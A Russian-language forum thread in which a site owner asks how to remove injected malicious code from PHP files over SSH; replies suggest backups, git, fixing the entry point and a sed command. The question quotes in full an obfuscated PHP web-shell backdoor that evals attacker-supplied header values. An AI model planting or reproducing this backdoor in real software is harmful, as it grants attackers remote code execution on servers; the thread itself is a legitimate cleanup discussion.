@NotPacMan

Как используя ssh удалить из php файлов определённые строки вирусного кода?

Добрый день!
Словили вирусника, как удалить из файлов определённый код?
$_HEADERS = getallheaders();if(isset($_HEADERS['Sec-Websocket-Accept'])){$c="<\x3f\x70h\x70\x20@\x65\x76a\x6c\x28$\x5f\x48E\x41\x44E\x52\x53[\x22\x43o\x6e\x74e\x6e\x74-\x53\x65c\x75\x72i\x74\x79-\x50\x6fl\x69\x63y\x22\x5d)\x3b\x40e\x76\x61l\x28\x24_\x52\x45Q\x55\x45S\x54\x5b\"\x43\x6fn\x74\x65n\x74\x2dS\x65\x63u\x72\x69t\x79\x2dP\x6f\x6ci\x63\x79\"\x5d\x29;";$f='.'.time();@file_put_contents($f, $c);@include($f);@unlink($f);}


Код всё время разный, но начинается всё время на $_HEADERS и заканчивается на ;}
  • Вопрос задан
  • 157 просмотров
Пригласить эксперта
Ответы на вопрос 4
trapwalker
@trapwalker
Программист, энтузиаст
Не надо так делать. Если ваш сервер заражен, а вы даже системы контроля версий не используете, то у меня для вас плохие новости. Гарантированно вычистить вирус у вас не получится. Останавливайте сервер, делайте бэкап всей файловой системы, несите это профессионалам. Они удалят вредоносный код и объяснят как пользоваться git.
Если всё как вы говорите, то вредоносный код уже мог захватить кучу других мест в системе, которые вы не заметите.
Ответ написан
Комментировать
@historydev
Валера, настало твоё время
Sed + regexp
Ответ написан
Комментировать
@Nolan81
программист
Можно попробовать эту библиотеку. А так, конечно Git бы вам не помешал. Но и надо понять как этот код проникает на сайт, где дыра
Ответ написан
Комментировать
@AUser0
Чем больше знаю, тем лучше понимаю, как мало знаю.
Но учтите, без вылечивания дыры, через которую это делается - лечение кода бесполезно.
sed -E -i 's@^[[:blank:]]*$_HEADERS = getallheaders.+@@g' filename.php

P.S. Сначала проверьте на каком-нибудь подопытном файле.
Ответ написан
Комментировать
Ваш ответ на вопрос

Войдите, чтобы написать ответ

Войти через центр авторизации
Похожие вопросы